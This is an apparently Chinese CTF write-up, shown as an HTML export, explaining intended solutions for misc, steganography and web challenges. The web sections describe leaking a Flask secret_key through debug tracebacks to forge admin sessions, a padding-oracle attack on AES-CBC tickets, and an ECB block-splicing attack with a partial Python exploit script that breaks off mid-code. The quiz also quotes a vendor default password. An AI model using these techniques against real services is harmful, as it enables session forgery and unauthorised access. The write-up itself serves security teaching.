0px solid transparent; top: 134px;"></div><div class="CodeMirror-gutters" style="display: none; height: 134px;"></div></div></div></pre><p> </p><h2><a name="→签到←misc）" class="md-header-anchor"></a><span>→签到←（Misc）</span></h2><p><strong><span>命题背景：</span></strong></p><p><span>出签到题的主要目的是把选手骗进群，顺便给萌新送送分（x</span></p><p><span>作为一场随意报名的纯线上比赛，及时联系上所有选手是一件比较难的事情。所以专门设置一个签到题来 “逼迫” 选手加群接收通知。</span></p><p><strong><span>预期解：</span></strong></p><p><span>题面显然是 Base64 编码，不如说看见一串大小写字母加数字的乱码就应该怀疑 Base64，如果再有加号和斜杠、结尾有几个等号，则更可以直接实锤 Base64（这个题恰好没有出现特殊符号）。</span></p><p><span>Base64 解出来 </span><code>synt{J3ypbzr gb 0gu CXH ThThTh, rawbl gur tnzr!}</code><span>。这个大括号看起来很像 Flag 的格式，但 Flag 的开头四个字母是 </span><code>flag</code><span> 而不是 </span><code>synt</code><span>。动用小学英语知识不难发现，每个字母都在字母表上移动了 13 个位置，而标点符号和数字看起来没有变化。这种加密被称作 ROT13，是凯撒加密的一个流行的变种，因为 13 正好是 26 的一半，所以 ROT13 是一种 “对称加密”，即加密和解密过程一样。</span></p><p><span>ROT13 变换一下（推荐 </span><a href='https://rot13.com'><span>rot13.com</span></a><span> 这个网站），即可得到 Flag。（Flag 错误？往下看）</span></p><p><span>趣味小知识 1：用数字 0 1 3 5 7 代替字母 o i e s t 等的行为被称作 </span><a href='https://en.wikipedia.org/wiki/Leet'><span>Leet</span></a><span>，是一种嘿客装逼的常用方式，也经常被用来对付 “密码必须包括字母和数字” 的要求。</span></p><p><span>趣味小知识 2：Python 著名的 </span><a href='https://www.python.org/dev/peps/pep-0020/'><span>import this 彩蛋</span></a><span> 就是使用 ROT13 编码的，不信可以 </span><a href='https://hg.python.org/cpython/file/3.5/Lib/this.py'><span>看看源码</span></a><span>。</span></p><p><strong><span>赛场情况：</span></strong></p><p><span>有</span><strong><span>很多</span></strong><span>萌新解完 ROT13 之后交上去发现提示 Flag 不对，这可能是因为你在网上找到了 </span><a href='https://www.qqxiuzi.cn/bianma/kaisamima.php'><span>一个在线凯撒加解密的网站</span></a><span>。但这个网站有个坑，它解出的明文是这样的：</span></p><p><img src="assets/image-20210519214233216.png" referrerpolicy="no-referrer" alt="image-20210519214233216"></p><p><span>可以看到，所有空格都被替换成了 ensp（U+2002）这个特殊字符。这个字符表示 “半角空格”，它的宽度正好是字符高度的一半，比一般空格要宽一点。由于空格的差异，直接把这个网站解出的 Flag 提交是通过不了的。</span></p><p><span>眼尖的选手可能会注意到这个空格比正常的空格宽（如下图），从而发现并修复空格问题。对空格宽度不够敏，或者使用的字体比较遗憾的选手，就比较悲催了，毕竟签到题都做不对很搞心态……只能说，假网站害人呐！</span></p><p><img src="assets/image-20210521010302331.png" referrerpolicy="no-referrer" alt="image-20210521010302331"></p><p><span>受害者数量统计：</span></p><p><img src="assets/image-20210523144658149.png" referrerpolicy="no-referrer" alt="image-20210523144658149"></p><p> </p><h2><a name="小北问答-1202misc）" class="md-header-anchor"></a><span>小北问答 1202（Misc）</span></h2><p><strong><span>命题背景：</span></strong></p><p><span>中科大的 Hackergame 也经常出这类题目。它考察的知识点很简单，就是正确使用搜索引擎。确切地说，是正确使用除百度以外的搜索引擎。李学长抱歉了，但 yysy 用百度搜技术内容是真的是灾难。</span></p><p><strong><span>预期解：</span></strong></p><blockquote><p><span>理科一号楼共有 8 个计算中心机房，其中第 n 机房的门牌号是Xn（1000≤Xn≤9999），求 ∑ (Xn)^n 的最大质因数。</span></p></blockquote><p><span>在 </span><a href='https://its.pku.edu.cn/pcroom.jsp'><span>ITS 网站</span></a><span> 上可以找到每个机房的门牌号。不建议实地考察，因为在理科一号楼找房间会迷路的，真的会迷路的。</span></p><p><span>然后按要求求和之后分解一下质因数就 OK 了，注意到和超出了 64 位整数的表示范围，建议用 Python。</span><code>sympy.factorint</code><span> 可以做质因数分解。</span></p><p><img src="assets/image-20210523234131388.png" referrerpolicy="no-referrer" alt="image-20210523234131388"></p><p><span>答案是 </span><code>108475792463321</code><span>，这么大的数居然是质数，小编也感到惊讶。</span></p><blockquote><p><span>北京大学的哪门课被称为“讲得好、作业少、考试水、给分高的课”（中文全称）？</span></p></blockquote><p><span>注意到题干 “被称为” 这个用词，题面也强调了此题 “不需要选手具有特定生活经验”，显然它不是在问你觉得哪门课好，觉得答案跟自己心目中的水课不一样的选手也不要觉得冤枉，因为题目就不是在问你自己的感受。有很多人无脑填了地概，虽然地概确实可能符合上述特点，但（至少在比赛之前）从未有人原封不动地用 “讲得好、作业少、考试水、给分高” 这一长串定语来称呼它。</span></p><p><span>那么，这句话的来源是哪呢？搜索一下就知道了：</span></p><p><img src="assets/image-20210519232528540.png" referrerpolicy="no-referrer" alt="image-20210519232528540"></p><p><span>访问这个网站，鼠标悬浮在文字上即可看到答案。</span></p><p><img src="assets/image-20210523232552191.png" referrerpolicy="no-referrer" alt="image-20210523232552191"></p><p><span>所以这题主要是在考察选手会不会在搜索的时候加引号。</span></p><p><span>另外声明一下，我并没有上过这门课，选它作为题目只是因为 “讲得好、作业少、考试水、给分高的课” 这个表述恰到好处地能用各大搜索引擎搜索出来唯一的结果，没有任何内定、钦点的意思。</span></p><blockquote><p><span>根据 HTCPCP-TEA 协议，当一个茶壶暂时无法煮咖啡时，应当返回什么状态码？</span></p></blockquote><p><span>HTCPCP-TEA 的标准是 </span><a href='https://datatracker.ietf.org/doc/html/rfc7168'><span>RFC7168</span></a><span>，原文说 “TEA-capable pots that are not provisioned to brew coffee may return either a status code of 503, indicating temporary unavailability of coffee, …” 所以答案为 503。</span></p><p><span>有些人在维基百科上找到了 406 这个答案，说明你查的是 HTCPCP 的维基百科，HTCPCP-TEA 是对 HTCPCP 的扩展，是另一年愚人节的作品，HTCPCP-TEA 在维基百科上没有。</span></p><p><span>418 也是不对的，它表示 “永远” 无法煮咖啡。</span></p><blockquote><p><span>在 Conway's Game of Life 中，有多少种稳定的由 7 个活细胞构成的局面？稳定是指每个时刻的状态都与初始状态完全相同。旋转或对称后相同的视为同一种局面。</span></p></blockquote><p><span>答案是 4，这种局面被称为 “Still Life”，在 </span><a href='https://www.conwaylife.com/wiki/Still_life'><span>生命游戏 Wiki</span></a><span> 上面有介绍。</span></p><p><span>题目问了 7 个细胞构成的 Still Life 数量，而没有问更大的。这是因为两个 4 细胞的 Still Life（一个方块）放在一起可以拼成 8 细胞的 Still Life，间隔多大都可以，因此 8 细胞的 Still Life 数量按照上述定义有无限多种。</span></p><blockquote><p><span>FAStT Management Suite Java 是 IBM 推出的一款软件，它的默认密码是？</span></p></blockquote><p><span>上网搜可以搜到 </span><a href='https://www.ibm.com/support/pages/ibm-fastt-management-suite-java-msj-diagnostic-and-configuration-utility-ia-64-linux-fibre-channel-solutions'><span>一篇 IBM 的支持文章</span></a><span>，里面有一个手册的 ftp 链接。这个 ftp 服务器有点东西，它允许下载文件，但没有列出目录的权限。所以如果你用 GUI 的 ftp 软件是找不到这个文件的，可以用命令行下载。当然在其他网站上也能找到 FAStT MSJ 的手册，不一定要用 ftp。</span></p><p><span>下载之后搜索 “password”，找到 “The original default password is config.”</span></p><blockquote><p><span>最小的汉信码图案由多少像素（被称为“模块”）构成？</span></p></blockquote><p><span>如果你看了汉信码的百度百科，就会发现虽然字数很多，但一点有效内容都没有……</span></p><p><span>汉信码的标准是 GB/T 21049-2007，网上可以搜到这个标准的 PDF，里面提到：</span></p><p><img src="assets/image-20210519233756776.png" referrerpolicy="no-referrer" alt="image-20210519233756776"></p><p><span>所以答案是 23*23 = 529。</span></p><blockquote><p><span>哪个国密算法基于椭圆曲线密码？</span></p></blockquote><p><span>此题是罕见的百度能搜出来答案的题目。答案是 SM2。</span></p><blockquote><p><span>在 2013 年 5 月 4 日，全世界共有多少可用的顶级域名（TLD）？</span></p></blockquote><p><span>顶级域名的分配归 IANA 管，IANA 网站上有一个 </span><a href='http://www.iana.org/domains/root/db'><span>顶级域名的列表</span></a><span>。我们想知道 2013 年 5 月 4 日的情况，可以在 </span><a href='http://web.archive.org/'><span>Internet Archive</span></a><span> 上面输入这个网址找找看有没有网页快照。可以看到，在 2013 年 5 月的 3 日和 5 日恰好有快照：</span></p><p><img src="assets/image-20210519234112707.png" referrerpolicy="no-referrer" alt="image-20210519234112707"></p><p><span>访问一下，数数列表有几行（可以用 </span><code>document.querySelectorAll('#tld-table tbody tr')</code><span>），得到答案 329。</span></p><p><span>有人找到了 </span><a href='https://data.iana.org/TLD/tlds-alpha-by-domain.txt'><span>IANA 的另一个列表</span></a><span>，得到的答案是 317，这是因为那 329 个域名里有些国家域名属于 “not assigned” 状态，排除之后就是 317 了。这是命题时的一处疏忽，最终 317 和 329 都算对了。</span></p><p><strong><span>赛场情况：</span></strong></p><p><span>这是每道题大家都几次答对的统计图（单元格里的数字代表人数）：</span></p><p><img src="assets/image-20210523122358768.png" referrerpolicy="no-referrer" alt="image-20210523122358768"></p><p><span>另外，意外收获了一份众包课程测评（只选取了每人第一次提交的答案）：</span></p><p><img src="assets/image-20210523122558971.png" referrerpolicy="no-referrer" alt="image-20210523122558971"></p><p><span>赵克常老师的地震概论、地震概率和地震概概论 NB 就完事了（x</span></p><p><span>另外，有选手担心如果那个课程测评网站在比赛期间更改了主页内容怎么办。这种事情是不会发生的，已经跟站长沟通过了。</span></p><p> </p><h2><a name="与佛论禅网大会员misc）" class="md-header-anchor"></a><span>与佛论禅网大会员（Misc）</span></h2><p><strong><span>命题背景：</span></strong></p><p><span>文件格式、隐写和拼图是 Misc 题的传统艺能，不得不品尝。</span></p><p><span>噢，好像传统艺能还包括 pcap 寻宝和古典密码脑洞来着？懂了，下届就出（x</span></p><p><strong><span>预期解：</span></strong></p><p><span>下载得到一张 GIF 图片。当然它不仅仅是一张图片，后面有一些多余的信息（软件是 010 Editor）：</span></p><p><img src="assets/image-20210519234926241.png" referrerpolicy="no-referrer" alt="image-20210519234926241"></p><p><span>老赛棍看到 “50 4B 03 04” 文件头肯定能意识到这是一个 ZIP 压缩包了，其实题面里也有暗示（“图种” 就是说图片后面塞一个 ZIP 之类的东西）。因为 GIF 文件允许任意长度的后缀，ZIP 文件允许任意长度的前缀，所以把一个 GIF 和 ZIP 拼在一起是合法的。</span></p><p><span>直接把后缀改成 </span><code>.zip</code><span> 打开看到两个文件：</span></p><p><img src="assets/image-20210519235145625.png" referrerpolicy="no-referrer" alt="image-20210519235145625"></p><p><span>第一个 Flag 没加密，简直白给对不对？所以只有一百分。</span></p><p><code>flag1.txt</code><span> 是 </span><code>flag{K33p_going!Passw0rd-is-hidden-in-the-1mage}</code><span>，这提示了我们需要在图片里找到密码解开第二个 Flag。</span></p><p><span>众所周知，GIF 支持动画，让我们看看这个 GIF 有哪些帧（软件是 Photoshop）：</span></p><p><img src="assets/image-20210519235313720.png" referrerpolicy="no-referrer" alt="image-20210519235313720"></p><p><span>仔细观察发现，第 2 4 6 8 帧的四个角有一些白花花的东西。稍微拉一下曲线可以得到一个黑白相间的块：</span></p><p><img src="assets/image-20210519235458611.png" referrerpolicy="no-referrer" alt="image-20210519235458611"></p><p><span>我们把四个块提取出来，稍微拼拼图，可以得到：</span></p><p><img src="assets/image-20210519235620123.png" referrerpolicy="no-referrer" alt="image-20210519235620123"></p><p><span>脑洞大的人估计一下就猜出来这是一张 QR Code 切掉 4 个角的图案了。没猜出来不要紧，QR Code 在切掉角之后也有规律可循。下图圈出来的一条横线和一条竖线（用来校准二维码的时序）是所有 QR Code 共有的，恰好与拼出来的图吻合。</span></p><p><img src="assets/image-20210519235817301.png" referrerpolicy="no-referrer" alt="image-20210519235817301"></p><p><span>于是手工把 4 个角补上，借助于 QR Code 强大的纠错功能，可以扫出来一个网址：</span></p><p><img src="assets/image-20210520000222448.png" referrerpolicy="no-referrer" alt="image-20210520000222448"></p><p><span>这就是压缩包密码，输入进去就完事了。</span></p><p><span>如果你是用微信扫的码，需要手动复制链接才能看到 # 后面的内容。</span></p><p><strong><span>赛场情况：</span></strong></p><p><span>有些选手发动了强大的找往年题的能力，发现网鼎杯有一个类似的题目要拼汉信码，再联想到 “小北问答” 也考了汉信码，于是走上了拼汉信码的错误道路。这说明选手不知道 QR Code 时序图案的规律。</span></p><p><span>有些选手表示自己修完之后扫不出来，我也不知道为什么扫不出来，可能是定位点位置不够准，或者黑白弄反了。实测这样子是能扫出来的：</span></p><p><img src="assets/image-20210524154203240.png" referrerpolicy="no-referrer" alt="image-20210524154203240"></p><p><span>也有选手看到题目名称有 “与佛论禅” 四个字就去试图找文件里哪里藏着与佛论禅密文了……本题完全没有涉及到与佛论禅，真是抱歉了，下届有机会一定出（x</span></p><p> </p><h2><a name="人生苦短web）" class="md-header-anchor"></a><span>人生苦短（Web）</span></h2><p><strong><span>命题背景：</span></strong></p><p><span>在调试完程序之后，很多人都不会专门把调试开关关掉。把 DEBUG 模式的程序放到生产环境跑可能会让黑客在错误提示中得到敏感信息。对于此题来说，就是 Flask 的 secret_key。</span></p><p><span>JSON 的类型问题也是做 Web 开发经常忽略的一个点。对于不检查类型的语言和框架，你以为拿到了一个字符串，但实际上未必是。</span><a href='https://fastapi.tiangolo.com/'><span>FastAPI</span></a><span> 要求指明 JSON 请求的类型，点一个赞。</span></p><p><span>当然，Flask 知道 secret_key 后 session 伪造的方法也是一个很常见的考点了。于是本题把上述三个考点缝合了一下。</span></p><p><strong><span>预期解：</span></strong></p><p><span>审计源码看到最后一行 </span><code>app.run('0.0.0.0', 5000, True)</code><span>，最后一个 True 就是 </span><code>debug</code><span> 参数。如果你不知道这一点，把代码放到本地跑一下就会发现它确实开启了调试模式。</span></p><p><span>我们知道 Flask 的 session 是用 secret_key 签名的，</span><a href='https://www.kirsle.net/wizards/flask-session.cgi'><span>得到 secret_key 之后就可以伪造 session</span></a><span>。于是我们要想办法弄到 secret_key。</span></p><p><span>调试模式的 Flask 程序会在出错后输出 Traceback，包括出错位置上下五行的代码内容。我们找 secret_key 位置的上下五行代码：</span></p><p><img src="assets/image-20210520001623429.png" referrerpolicy="no-referrer" alt="image-20210520001623429"></p><p><span>That's it. 如果 </span><code>request.json.get('action', '')</code><span> 不是一个字符串，</span><code>.strip()</code><span> 就会报错，从而打印出错误提示，泄露敏感信息。比如，我们来一个 </span><code>{"action": 1}</code><span> 试试：</span></p><p><img src="assets/image-20210520001830410.png" referrerpolicy="no-referrer" alt="image-20210520001830410"></p><p><span>拿到 secret_key 之后，网上随便找一个 Flask session 加密的代码，把自己改成 admin 就可以 </span><code>getflag</code><span> 了。</span></p><p><strong><span>赛场情况：</span></strong></p><p><span>做出来这题的人数比预期的要多，估计是因为 debug 模式泄露 secret_key 的考点在网上搜索 “ctf flask” 就能找到……</span></p><p><span>爆出错误的姿势好像也挺多的，甚至直接 JSON 传一个数字也行，相当于直接在 </span><code>json.get</code><span> 那一步就炸了。要是我也想到能这么搞，这题就不加后面的 </span><code>.strip()</code><span> 了（x</span></p><p><span>另外 debug 模式还有一个玩法，就是猜出调试器的 PIN 码直接执行命令。因为 PIN 码是根据机器 ID 和 MAC 地址等因素生成的，而且所有题目都是跑在一台机器的 Docker 里，Docker 生成这些信息比较有规律，选手或许会考虑做出来其他 Pwn 题之后读取机器 ID 猜测出 PIN 码，然后执行命令。</span></p><p><span>但这条路是行不通的，因为我们专门改了这道题 Docker 的环境变量修改了 PIN 码。而且 PIN 码多次输错就会永久锁死，所以爆破也行不通。</span></p><p> </p><h2><a name="千年讲堂的方形轮子web）" class="md-header-anchor"></a><span>千年讲堂的方形轮子（Web）</span></h2><p><strong><span>命题背景：</span></strong></p><p><span>Padding Oracle 是一个很有趣的漏洞。它揭示了系统中任何微小的安全隐患（甚至告诉攻击者 “数据是否出错” 这个 1-bit 信息）都可能被利用。也顺便向人们强调了机密性和权威性是不同的概念，只加密不签名无法确保数据真实可信。</span></p><p><span>因为 Padding Oracle 其他比赛可能都考过，比较俗，甚至网上有一键攻击的脚本，所以又增加了第二问对 ECB 的攻击。</span></p><p><strong><span>预期解：</span></strong></p><p><span>容易看出生成的购票凭证是一段 Base64 编码过的东西。判断一下解码后内容的长度都是 16 的倍数，不难判断这是一个加密后的密文。</span></p><p><span>把密文放到检票 API 里面，如果我们随意修改密文中的一些比特，解出来的信息会发生变化：</span></p><p><img src="assets/image-20210520003452227.png" referrerpolicy="no-referrer" alt="image-20210520003452227"></p><p><span>这是因为 AES-CBC 加密只能保证信息的机密性但不能保证信息的权威性，攻击者修改密文就会让解出来的明文也发生变化。如果我们修改密文的最后几个字节，会报错 “Error: 解密购票凭证失败”。这是因为 AES 加密前需要做 PKCS7 Padding 来让明文对齐到 16 字节，修改最后几个字节会导致 Padding 错误，从而解密失败。</span></p><p><span>根据这一特性，有些聪明的黑客在二十年前就提出了一种称为 Padding Oracle 的攻击方式，大体思路是遍历字符的 256 种取值，没有报错的那个取值就对应了正确的 Padding，从而逐渐解密出明文。解出明文后，我们也可以进一步伪造任意密文，从而彻底把 AES-CBC 加密变成笑柄。</span></p><p><span>具体的原理可以在网上搜，Google Scholar 搜索 “Padding Oracle” 即可，此处不再赘述。总之这种攻击被研究地很充分，甚至有人制作了 </span><a href='https://github.com/AonCyberLabs/PadBuster'><span>一键攻击脚本</span></a><span>，直接就可以解出明文。ranwen 的 writeup 里有一个手动 Padding Oracle 攻击的代码，感兴趣的选手可以参阅。</span></p><p><img src="assets/image-20210523135041752.png" referrerpolicy="no-referrer" alt="image-20210523135041752"></p><p><span>解出之后发现明文的格式是：</span></p><pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang=""><div class="CodeMirror cm-s-inner CodeMirror-wrap" lang=""><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 0px; left: 8px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation"><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">stuid=学号|name=姓名|flag=False|code=兑换码|timestamp=购票时间</span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 22px;"></div><div class="CodeMirror-gutters" style="display: none; height: 22px;"></div></div></div></pre><p><span>我们从明文里拿到兑换码，然后通过 Padding Oracle 把 flag 改为 True，就可以经过领取礼品的 API 得到 Flag 1 了。</span></p><p><span>在第二问中，工程师把加密方式改成了 ECB 模式。这是一个巨大的笑话，因为 ECB 是比 CBC 还要弱的一种加密方式，它直接把明文分成若干 16 字节的块，然后每块单独加密。</span></p><p><span>这会造成两个问题，其一，明文中相同的 16 字节会被加密成相同的内容，这就让攻击者知道哪些内容是相同的。比如下面这个例子是用 ECB 模式加密一张图片得到的结果，可见图片中纯色的部分都被加密成了一样的纹理：</span></p><p><img src="assets/image-20210520004006661.png" referrerpolicy="no-referrer" alt="image-20210520004006661"></p><p><span>而解出 Flag 2 所需的是 ECB 模式的另一个问题：ECB 允许攻击者 “断章取义”，把部分密文拿出来拼凑出一个假的东西。</span></p><p><span>例如，假设明文是：</span></p><pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang=""><div class="CodeMirror cm-s-inner CodeMirror-wrap" lang=""><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 0px; left: 8px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation"><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">stuid=....|name=XXXXXXXXXXXXXXXX|code=...|timestamp=...</span></pre></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><- 16B block -><- 16B block -><- 16B block -></span></pre></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 45px;"></div><div class="CodeMirror-gutters" style="display: none; height: 45px;"></div></div></div></pre><p><span>由于 XXX...XXX 是攻击者输入的任意内容，这样攻击者拿到很多个这种 block 的密文之后就可以拼凑出任意的假明文来。</span></p><p><span>值得注意，此题严格限制了 name 的长度不超过 19，所以确保 XXX...XXX 铺满了一整个 block 是有点难度的，因为 stuid 限制了 10 位，此时 name 横跨两个 block，不在一个完整的 block 里：</span></p><pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="text"><div class="CodeMirror cm-s-inner CodeMirror-wrap" lang="text"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 0px; left: 8px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation"><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">stuid=..........|name=1234567890123456789|flag=True|...</span></pre></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><- 16B block -><- 16B block -><- 16B block -></span></pre></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 45px;"></div><div class="CodeMirror-gutters" style="display: none; height: 45px;"></div></div></div></pre><p><span>可以用汉字和 Emoji 编码来绕过长度限制。因为检查长度限制是针对字符串长度，实际 AES 加密分块用的是 UTF-8 编码之后的字节长度，而一个字符可以对应多个字节（目前最多 4 个）。所以用 3 个 Emoji 可以撑出来最多 12 字节的空间，这样就能让后面的 16 字节恰好铺满整个 block 了。</span></p><p><span>当然，由于解码的过程比较宽松，事实上不铺满一整个 block 也能实现攻击。</span></p><p><span>解第二问就没有现成的脚本可以用了，需要自己写一个：</span></p><pre spellcheck="false" class="md-fences md-end-block ty-contain-cm modeLoaded" lang="python" style="break-inside: unset;"><div class="CodeMirror cm-s-inner CodeMirror-wrap" lang="python"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 0px; left: 8px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><span><span></span>x</span></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">import</span> <span class="cm-variable">base64</span></span></pre></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">import</span> <span class="cm-variable">pickle</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">import</span> <span class="cm-variable">requests</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">from</span> <span class="cm-variable">Crypto</span>.<span class="cm-property">Util</span>.<span class="cm-property">Padding</span> <span class="cm-keyword">import</span> <span class="cm-variable">pad</span>, <span class="cm-variable">unpad</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">TARGET</span> = <span class="cm-variable">pad</span>(<span class="cm-string">'stuid=1145141919|name=pcmx|flag=True|code=chicken|timestamp=1618074202'</span>.<span class="cm-property">encode</span>(), <span class="cm-number">16</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">assert</span> <span class="cm-builtin">len</span>(<span class="cm-variable">TARGET</span>)<span class="cm-operator">%</span><span class="cm-number">16</span> == <span class="cm-number">0</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text=""></span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">def</span> <span class="cm-def">do_enc_ecb</span>(<span class="cm-variable">stuid</span>, <span class="cm-variable">name</span>):</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">t</span> = <span class="cm-variable">requests</span>.<span class="cm-property">get</span>(</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">'http://prob12.geekgame.pku.edu.cn/ecb/gen-ticket'</span>,</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">params</span>={</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">'stuid'</span>: <span class="cm-variable">stuid</span>,</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">'name'</span>: <span class="cm-variable">name</span>,</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> },</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> ).<span class="cm-property">text</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-builtin">print</span>(<span class="cm-variable">name</span>, <span class="cm-variable">t</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">assert</span> <span class="cm-string">'已为您生成购票凭证'</span> <span class="cm-keyword">in</span> <span class="cm-variable">t</span>, <span class="cm-variable">t</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">b64</span> = <span class="cm-variable">t</span>.<span class="cm-property">partition</span>(<span class="cm-string">'<br><p>'</span>)[<span class="cm-number">2</span>].<span class="cm-property">partition</span>(<span class="cm-string">'</p><br>'</span>)[<span class="cm-number">0</span>]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-variable">base64</span>.<span class="cm-property">b64decode</span>(<span class="cm-variable">b64</span>.<span class="cm-property">encode</span>())</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> </span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">PFXLEN</span> = <span class="cm-builtin">len</span>(<span class="cm-string">'stuid=2222222223|name=\u0660🍕🍕'</span>.<span class="cm-property">encode</span>())</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">assert</span> <span 